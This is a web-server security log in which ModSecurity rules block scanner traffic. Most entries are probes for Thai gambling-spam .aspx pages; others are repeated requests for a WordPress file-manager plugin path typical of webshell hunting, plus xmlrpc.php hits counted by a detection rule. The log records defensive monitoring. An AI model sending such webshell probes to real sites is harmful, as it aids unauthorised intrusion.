[Thu Jan 29 20:00:02.093799 2026] [:error] [pid 19069:tid 19083] [client 54.36.60.45:36368] [client 54.36.60.45] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/%E0%B8%AA%E0%B8%A5%E0%B9%87%E0%B8%AD%E0%B8%95888%E0%B9%80%E0%B8%A7%E0%B9%87%E0%B8%9A%E0%B8%95%E0%B8%A3%E0%B8%87%E0%B8%A7%E0%B8%AD%E0%B9%80%E0%B8%A5%E0%B8%97.aspx"] [unique_id "aXtLwvDHsRM4BJ9a4QtStwAAAAU"]
[Thu Jan 29 20:01:27.901198 2026] [:error] [pid 19070:tid 19124] [client 54.36.60.45:55900] [client 54.36.60.45] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/joker%20vip.aspx"] [unique_id "aXtMF7ou83lIon_aKgbgAwAAAFI"]
[Thu Jan 29 20:01:29.707923 2026] [:error] [pid 20486:tid 20506] [client 54.36.60.45:39844] [client 54.36.60.45] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/joker999.aspx"] [unique_id "aXtMGXgqSZb6GBx5nnPwwAAAARE"]
[Thu Jan 29 20:01:31.702414 2026] [:error] [pid 19069:tid 19096] [client 54.36.60.45:39854] [client 54.36.60.45] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/kingkong%20joker.aspx"] [unique_id "aXtMG_DHsRM4BJ9a4QtTIAAAABI"]
[Thu Jan 29 20:01:33.700839 2026] [:error] [pid 20579:tid 20664] [client 54.36.60.45:39860] [client 54.36.60.45] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/kingslot.aspx"] [unique_id "aXtMHTVXNopcNyjJc9UUTwAAAlY"]
[Thu Jan 29 20:01:35.700998 2026] [:error] [pid 19071:tid 19145] [client 54.36.60.45:57286] [client 54.36.60.45] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/las%20vegas%20auto%20%E0%B8%AA%E0%B8%A5%E0%B9%87%E0%B8%AD%E0%B8%95.aspx"] [unique_id "aXtMH5fa8Ix5wWmtmJyBFgAAAIw"]
[Thu Jan 29 20:01:37.755938 2026] [:error] [pid 19177:tid 19181] [client 54.36.60.45:57300] [client 54.36.60.45] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/lava%20slot.aspx"] [unique_id "aXtMIXipGz0PT8TrQv6KFgAAAMI"]
[Thu Jan 29 20:01:39.554098 2026] [:error] [pid 20579:tid 20645] [client 54.36.60.45:57310] [client 54.36.60.45] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/lava909%20%E0%B8%AA%E0%B8%A5%E0%B9%87%E0%B8%AD%E0%B8%95.aspx"] [unique_id "aXtMIzVXNopcNyjJc9UUVwAAAkQ"]
[Thu Jan 29 20:01:41.554037 2026] [:error] [pid 19177:tid 19195] [client 54.36.60.45:57324] [client 54.36.60.45] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/lotto888%20%E0%B8%AB%E0%B8%A7%E0%B8%A2.aspx"] [unique_id "aXtMJXipGz0PT8TrQv6KGQAAANA"]
[Thu Jan 29 20:01:43.569461 2026] [:error] [pid 20486:tid 20501] [client 54.36.60.45:57328] [client 54.36.60.45] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/lottovip%20%E0%B9%80%E0%B8%82%E0%B9%89%E0%B8%B2%E0%B8%AA%E0%B8%B9%E0%B9%88%E0%B8%A3%E0%B8%B0%E0%B8%9A%E0%B8%9A.aspx"] [unique_id "aXtMJ3gqSZb6GBx5nnPwyQAAAQw"]
[Thu Jan 29 20:01:45.557905 2026] [:error] [pid 20579:tid 20648] [client 54.36.60.45:41210] [client 54.36.60.45] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/m98%20%E0%B9%80%E0%B8%84%E0%B8%A3%E0%B8%94%E0%B8%B4%E0%B8%95%E0%B8%9F%E0%B8%A3%E0%B8%B5%20188.aspx"] [unique_id "aXtMKTVXNopcNyjJc9UUXQAAAkc"]
[Thu Jan 29 20:01:47.568716 2026] [:error] [pid 19070:tid 19126] [client 54.36.60.45:41216] [client 54.36.60.45] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/mafia%20slot%20%E0%B9%83%E0%B8%AB%E0%B8%A1%E0%B9%88%E0%B8%A5%E0%B9%88%E0%B8%B2%E0%B8%AA%E0%B8%B8%E0%B8%94.aspx"] [unique_id "aXtMK7ou83lIon_aKgbgKgAAAFQ"]
[Thu Jan 29 20:01:49.569521 2026] [:error] [pid 19071:tid 19153] [client 54.36.60.45:41226] [client 54.36.60.45] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/magnum%204d%20%E0%B8%AB%E0%B8%A7%E0%B8%A2%20%E0%B8%A1%E0%B8%B2%E0%B9%80%E0%B8%A5%20%E0%B8%A2%E0%B9%8C%20%E0%B8%A7%E0%B8%B1%E0%B8%99%E0%B8%99%E0%B8%B5%E0%B9%89.aspx"] [unique_id "aXtMLZfa8Ix5wWmtmJyBIwAAAJQ"]
[Thu Jan 29 20:01:51.567255 2026] [:error] [pid 19070:tid 19121] [client 54.36.60.45:41230] [client 54.36.60.45] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/mega%20slot.aspx"] [unique_id "aXtML7ou83lIon_aKgbgLgAAAE8"]
[Thu Jan 29 20:01:53.427935 2026] [:error] [pid 19070:tid 19106] [client 54.36.60.45:41242] [client 54.36.60.45] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/miami%201688%20%E0%B8%97%E0%B8%B2%E0%B8%87%E0%B9%80%E0%B8%82%E0%B9%89%E0%B8%B2.aspx"] [unique_id "aXtMMbou83lIon_aKgbgMAAAAEA"]
[Thu Jan 29 20:01:55.453406 2026] [:error] [pid 20576:tid 20590] [client 54.36.60.45:52794] [client 54.36.60.45] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/miami%20club%20%E0%B8%AA%E0%B8%A5%E0%B9%87%E0%B8%AD%E0%B8%95.aspx"] [unique_id "aXtMMyrDZws_FlQGi9dqXwAAAcQ"]
[Thu Jan 29 20:01:57.448778 2026] [:error] [pid 19069:tid 19089] [client 54.36.60.45:52810] [client 54.36.60.45] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/mm88rich%20%E0%B8%97%E0%B8%B2%E0%B8%87%E0%B9%80%E0%B8%82%E0%B9%89%E0%B8%B2.aspx"] [unique_id "aXtMNfDHsRM4BJ9a4QtTSAAAAAs"]
[Thu Jan 29 20:01:59.445485 2026] [:error] [pid 20519:tid 20553] [client 54.36.60.45:52826] [client 54.36.60.45] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/nagaway%20%E0%B8%AA%E0%B8%A5%E0%B9%87%E0%B8%AD%E0%B8%95%20%E0%B9%80%E0%B8%82%E0%B9%89%E0%B8%B2%E0%B8%AA%E0%B8%B9%E0%B9%88%E0%B8%A3%E0%B8%B0%E0%B8%9A%E0%B8%9A.aspx"] [unique_id "aXtMNwo4s4fyROrkyRnb9gAAAYU"]
[Thu Jan 29 20:02:01.443914 2026] [:error] [pid 19177:tid 19196] [client 54.36.60.45:52828] [client 54.36.60.45] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/pg%20%E0%B8%84%E0%B8%B7%E0%B8%AD.aspx"] [unique_id "aXtMOXipGz0PT8TrQv6KJwAAANE"]
[Thu Jan 29 20:02:03.433043 2026] [:error] [pid 20580:tid 20692] [client 54.36.60.45:52838] [client 54.36.60.45] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/pg%20%E0%B8%97%E0%B8%94%E0%B8%A5%E0%B8%AD%E0%B8%87.aspx"] [unique_id "aXtMO5CZ5HHdXPmeL58m4QAAApg"]
[Thu Jan 29 20:02:05.420825 2026] [:error] [pid 20579:tid 20661] [client 54.36.60.45:48910] [client 54.36.60.45] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/pg%20game.aspx"] [unique_id "aXtMPTVXNopcNyjJc9UUcQAAAlQ"]
[Thu Jan 29 20:02:07.457697 2026] [:error] [pid 20486:tid 20505] [client 54.36.60.45:48924] [client 54.36.60.45] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/pg%20osaka.aspx"] [unique_id "aXtMP3gqSZb6GBx5nnPw1gAAARA"]
[Thu Jan 29 20:02:09.439017 2026] [:error] [pid 20576:tid 20590] [client 54.36.60.45:48932] [client 54.36.60.45] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/pg%20slot%20%E0%B8%97%E0%B8%94%E0%B8%A5%E0%B8%AD%E0%B8%87%E0%B9%80%E0%B8%A5%E0%B9%88%E0%B8%99.aspx"] [unique_id "aXtMQSrDZws_FlQGi9dqaAAAAcQ"]
[Thu Jan 29 20:02:11.280448 2026] [:error] [pid 20579:tid 20647] [client 54.36.60.45:48940] [client 54.36.60.45] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/pg%20slot%20%E0%B8%97%E0%B8%B2%E0%B8%87%E0%B9%80%E0%B8%82%E0%B9%89%E0%B8%B2.aspx"] [unique_id "aXtMQzVXNopcNyjJc9UUewAAAkY"]
[Thu Jan 29 20:02:13.267445 2026] [:error] [pid 20519:tid 20570] [client 54.36.60.45:48942] [client 54.36.60.45] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/pg%20slot%20%E0%B9%80%E0%B8%84%E0%B8%A3%E0%B8%94%E0%B8%B4%E0%B8%95%E0%B8%9F%E0%B8%A3%E0%B8%B5%2050.aspx"] [unique_id "aXtMRQo4s4fyROrkyRncAQAAAZY"]
[Thu Jan 29 20:02:15.259155 2026] [:error] [pid 20576:tid 20598] [client 54.36.60.45:35602] [client 54.36.60.45] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/pg%20slot%20%E0%B9%80%E0%B8%84%E0%B8%A3%E0%B8%94%E0%B8%B4%E0%B8%95%E0%B8%9F%E0%B8%A3%E0%B8%B5.aspx"] [unique_id "aXtMRyrDZws_FlQGi9dqagAAAcw"]
[Thu Jan 29 20:02:17.248900 2026] [:error] [pid 20519:tid 20562] [client 54.36.60.45:35606] [client 54.36.60.45] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/pg%20slot%20%E0%B9%80%E0%B8%A7%E0%B9%87%E0%B8%9A%E0%B8%95%E0%B8%A3%E0%B8%87.aspx"] [unique_id "aXtMSQo4s4fyROrkyRncBAAAAY4"]
[Thu Jan 29 20:02:19.093644 2026] [:error] [pid 20579:tid 20647] [client 54.36.60.45:35620] [client 54.36.60.45] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/pg%20slot%20auto.aspx"] [unique_id "aXtMSzVXNopcNyjJc9UUgwAAAkY"]
[Thu Jan 29 20:02:21.082713 2026] [:error] [pid 20578:tid 20623] [client 54.36.60.45:35636] [client 54.36.60.45] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/pg%20slot%20vip.aspx"] [unique_id "aXtMTQ6UX7yOMwQFiycsVwAAAgo"]
[Thu Jan 29 20:02:23.083142 2026] [:error] [pid 20580:tid 20667] [client 54.36.60.45:35642] [client 54.36.60.45] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/pg%20slot168.aspx"] [unique_id "aXtMT5CZ5HHdXPmeL58m8gAAAoE"]
[Thu Jan 29 20:23:02.553641 2026] [:error] [pid 20486:tid 20507] [client 20.189.201.183:12062] [client 20.189.201.183] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-content/plugins/hellopress/wp_filemanager.php"] [unique_id "aXtRJngqSZb6GBx5nnP1GgAAARI"]
[Thu Jan 29 20:23:04.197655 2026] [:error] [pid 20486:tid 20498] [client 20.189.201.183:10979] [client 20.189.201.183] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-content/plugins/hellopress/wp_filemanager.php"] [unique_id "aXtRKHgqSZb6GBx5nnP1HQAAAQk"]
[Thu Jan 29 20:23:05.796707 2026] [:error] [pid 20486:tid 20491] [client 20.189.201.183:23772] [client 20.189.201.183] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-content/plugins/hellopress/wp_filemanager.php"] [unique_id "aXtRKXgqSZb6GBx5nnP1IAAAAQI"]
[Thu Jan 29 20:23:07.527787 2026] [:error] [pid 20579:tid 20642] [client 20.189.201.183:2627] [client 20.189.201.183] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-content/plugins/hellopress/wp_filemanager.php"] [unique_id "aXtRKzVXNopcNyjJc9UYZgAAAkE"]
[Thu Jan 29 20:39:14.286420 2026] [:error] [pid 20486:tid 20500] [client 147.135.215.173:52942] [client 147.135.215.173] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/slot77.aspx"] [unique_id "aXtU8ngqSZb6GBx5nnP5vQAAAQs"]
[Thu Jan 29 20:39:16.419895 2026] [:error] [pid 20519:tid 20572] [client 147.135.215.173:52958] [client 147.135.215.173] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/slot99.aspx"] [unique_id "aXtU9Ao4s4fyROrkyRnjHQAAAZg"]
[Thu Jan 29 20:39:18.448479 2026] [:error] [pid 19177:tid 19194] [client 147.135.215.173:52972] [client 147.135.215.173] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/superslot%20%E0%B9%80%E0%B8%84%E0%B8%A3%E0%B8%94%E0%B8%B4%E0%B8%95%E0%B8%9F%E0%B8%A3%E0%B8%B5%2050%20%E0%B8%A2%E0%B8%B7%E0%B8%99%E0%B8%A2%E0%B8%B1%E0%B8%99%E0%B9%80%E0%B8%9A%E0%B8%AD%E0%B8%A3%E0%B9%8C%20%E0%B8%A3%E0%B8%B1%E0%B8%9A%E0%B9%80%E0%B8%84%E0%B8%A3%E0%B8%94%E0%B8%B4%E0%B8%95%20%E0%B9%80%E0%B8%A5%E0%B8%A2.aspx"] [unique_id "aXtU9nipGz0PT8TrQv6RDAAAAM8"]
[Thu Jan 29 20:39:20.517647 2026] [:error] [pid 19071:tid 19141] [client 147.135.215.173:52982] [client 147.135.215.173] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/superslot%20%E0%B9%80%E0%B8%84%E0%B8%A3%E0%B8%94%E0%B8%B4%E0%B8%95%E0%B8%9F%E0%B8%A3%E0%B8%B5%2050%20%E0%B8%A5%E0%B9%88%E0%B8%B2%E0%B8%AA%E0%B8%B8%E0%B8%94.aspx"] [unique_id "aXtU-Jfa8Ix5wWmtmJyIfgAAAIg"]
[Thu Jan 29 21:01:06.955633 2026] [:error] [pid 19069:tid 19099] [client 191.252.83.199:30628] [client 191.252.83.199] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 191.252.83.199, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aXtaEvDHsRM4BJ9a4QtpLAAAABU"]
[Thu Jan 29 21:01:12.389418 2026] [:error] [pid 19177:tid 19179] [client 191.252.83.199:18510] [client 191.252.83.199] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 191.252.83.199, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aXtaGHipGz0PT8TrQv6U8QAAAMA"]
[Thu Jan 29 21:15:38.914692 2026] [:error] [pid 19069:tid 19082] [client 185.220.101.132:35135] [client 185.220.101.132] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 185.220.101.132, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aXtdevDHsRM4BJ9a4QttVAAAAAQ"], referer: https://gigfragments.org/xmlrpc.php?rsd
[Thu Jan 29 21:57:56.092919 2026] [:error] [pid 39863:tid 39870] [client 181.214.166.180:5372] [client 181.214.166.180] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/%E0%B8%97%E0%B8%94%E0%B8%A5%E0%B8%AD%E0%B8%87%E0%B9%80%E0%B8%A5%E0%B9%88%E0%B8%99%E0%B8%9A%E0%B8%B2%E0%B8%84%E0%B8%B2%E0%B8%A3%E0%B9%88%E0%B8%B2%E0%B8%9F%E0%B8%A3%E0%B8%B5%2050000.aspx"] [unique_id "aXtnZLsHJJGGu8set58B5QAAAUQ"]
[Thu Jan 29 21:57:56.574388 2026] [:error] [pid 40273:tid 40285] [client 181.214.166.180:2136] [client 181.214.166.180] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/%E0%B8%97%E0%B8%94%E0%B8%A5%E0%B8%AD%E0%B8%87%E0%B9%80%E0%B8%A5%E0%B9%88%E0%B8%99%E0%B8%9A%E0%B8%B2%E0%B8%84%E0%B8%B2%E0%B8%A3%E0%B9%88%E0%B8%B2%E0%B8%9F%E0%B8%A3%E0%B8%B5%2050000.aspx"] [unique_id "aXtnZBN1IJpP__zZvujJjAAAAEo"]
[Thu Jan 29 21:57:57.055894 2026] [:error] [pid 40273:tid 40298] [client 181.214.166.180:20451] [client 181.214.166.180] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/%E0%B8%97%E0%B8%94%E0%B8%A5%E0%B8%AD%E0%B8%87%E0%B9%80%E0%B8%A5%E0%B9%88%E0%B8%99%E0%B8%9A%E0%B8%B2%E0%B8%84%E0%B8%B2%E0%B8%A3%E0%B9%88%E0%B8%B2%E0%B8%9F%E0%B8%A3%E0%B8%B5%2050000.aspx"] [unique_id "aXtnZRN1IJpP__zZvujJjQAAAFc"]
[Thu Jan 29 21:57:59.171346 2026] [:error] [pid 20519:tid 20562] [client 181.214.166.180:5142] [client 181.214.166.180] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/%E0%B8%97%E0%B8%94%E0%B8%A5%E0%B8%AD%E0%B8%87%E0%B9%80%E0%B8%A5%E0%B9%88%E0%B8%99%E0%B8%AA%E0%B8%A5%E0%B9%87%E0%B8%AD%E0%B8%95%20joker.aspx"] [unique_id "aXtnZwo4s4fyROrkyRn0pwAAAY4"]
[Thu Jan 29 21:57:59.655532 2026] [:error] [pid 20519:tid 20571] [client 181.214.166.180:7964] [client 181.214.166.180] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/%E0%B8%97%E0%B8%94%E0%B8%A5%E0%B8%AD%E0%B8%87%E0%B9%80%E0%B8%A5%E0%B9%88%E0%B8%99%E0%B8%AA%E0%B8%A5%E0%B9%87%E0%B8%AD%E0%B8%95%20joker.aspx"] [unique_id "aXtnZwo4s4fyROrkyRn0qAAAAZc"]
